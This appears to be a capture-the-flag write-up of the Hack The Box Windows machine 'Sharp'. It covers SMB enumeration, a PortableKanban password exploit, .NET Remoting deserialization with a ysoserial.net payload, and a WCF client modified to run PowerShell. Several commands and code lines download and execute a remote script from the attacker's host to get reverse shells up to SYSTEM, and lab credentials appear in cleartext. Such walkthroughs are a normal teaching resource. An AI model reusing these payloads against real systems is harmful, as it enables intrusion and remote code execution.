Home Sharp
Post
Cancel
image alternative text

Sharp

Sharp is an interesting Windows box which has primarely to do with reversing an C# or .NET binary. Privilege Escalation is all about Windows Communication Foundation (WCF)

ENUMERATION

NMAP

Let’s start nmap scan:

1
2
3
4
5
6
7
8
9
10
11
Nmap scan report for 10.10.10.219
Host is up (0.035s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE         VERSION
135/tcp  open  msrpc           Microsoft Windows RPC
139/tcp  open  netbios-ssn?
8888/tcp open  sun-answerbook?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port139-TCP:V=7.91%I=7%D=1/17%Time=6004A6D5%P=x86_64-pc-linux-gnu%r(Get
SF:Request,5,"\x83\0\0\x01\x8f");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

SMB

Enumeration with SMBMAP

SMB is open, so let’s enumerate SMB using smbmap

1
2
3
4
5
6
7
8
9
luka@kali:~$ smbmap -H 10.10.10.219
[+] IP: 10.10.10.219:445        Name: 10.10.10.219                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        dev                                                     NO ACCESS
        IPC$                                                    NO ACCESS       Remote IPC
        kanban                                                  READ ONLY

ENUMERATION with SMBClient

As we can read kanban share, let’s see what’s in it:

1
smbclient //10.10.10.219/kanban

Aparently there are quite a few files in there which aparently belong to PortableKanban

picture 1

Portable Kanban - Enumeration

Just by google “Portable Kanban” and concentrating on exploits this shows up: https://www.exploit-db.com/exploits/49409

Script parses PortableKanban.pk3 and prints a password as seen below:

picture 2

EXPLOITATION

SMB

1
2
3
4
5
6
7
8
9
luka@kali:~/htb/sharp$ smbmap -H 10.10.10.219 -u lars -p G123HHrth234gRG
[+] IP: 10.10.10.219:445        Name: 10.10.10 219                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        dev                                                     READ ONLY
        IPC$                                                    READ ONLY       Remote IPC
        kanban                                                  NO ACCESS

We can login using lars’s user and found credentials.

1
2
luka@kali:~/htb/sharp$ crackmapexec smb 10.10.10.219 -u lars -p G123HHrth234gRG -x whoami
SMB         10.10.10.219    445    SHARP            [*] Windows 10.0 Build 17763 x64 (name:SHARP) (domain:Sharp) (signing:False) (SMBv1:False)

Reading the Dev share

picture 3

On the dev share we have some interesting files present. Reading the notes.txt gives us a hint what to look next.

picture 4

Privilege Escalation as lars

DNSPY Decompilation

Let’s decompile Client.exe with dnspy.

picture 5

We can decompile Server.exe as well!

Now regarding .NET Remoting there is an article out there: https://parsiya.net/blog/2015-11-14-intro-to-.net-remoting-for-hackers/

There is an exploit for .NET Remoting and github page provides some documentation and explanation regarding that: https://github.com/tyranid/ExploitRemotingService.

.NET Remoting Exploitation

Let’s clone and build an exploit

picture 6

Start a HTTP Server on a specified port serving e.g. Powershell reverse shell ;).

Let’s generate a .NET Payload using ysoserial.net

1
.\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('http://10.10.14.12:8000/sharp.ps1')"

… and run the exploit.

1
.\ExploitRemotingService.exe -s --user=debug --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29t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WJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL

picture 7

Shell should pop as seen above.

Privilege Escalation after lars #2

We can notice that wcfserveris running

picture 8

I’ve compressed the directory with wcfserver in C:\Users\lars\Documents\wcf with powershell’s compress-archive and uploaded it to my windows box using http-server-put (https://gist.github.com/mildred/67d22d7289ae8f16cae7)

It runs with SYSTEM privileges but lars cannot write to file. The plan is like before to modify the client and execute code.

This is Client portion

picture 9

I tried to compile it and run it remotely but it didn’t work. Lets add following line (with client.InvokePowerShell):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
using RemotingSample;
using System;
using System.ServiceModel;

namespace Client {

    public class Client
    {
        public static void Main() {
            ChannelFactory<IWcfService> channelFactory = new ChannelFactory<IWcfService>(
                new NetTcpBinding(SecurityMode.Transport),"net.tcp://localhost:8889/wcf/NewSecretWcfEndpoint"
            );
            IWcfService client = channelFactory.CreateChannel();
            Console.WriteLine(client.GetDiskInfo());
            Console.WriteLine(client.GetCpuInfo());
            Console.WriteLine(client.GetRamInfo());
            Console.WriteLine(client.InvokePowerShell("iex (new-object net.webclient).downloadstring('http://10.10.14.12:8000/sharp_system.ps1')"));
        }
    }
}

picture 10

Shell as NT AUTHORITY / SYSTEM should open: picture 11

This post is licensed under CC BY 4.0 by the author.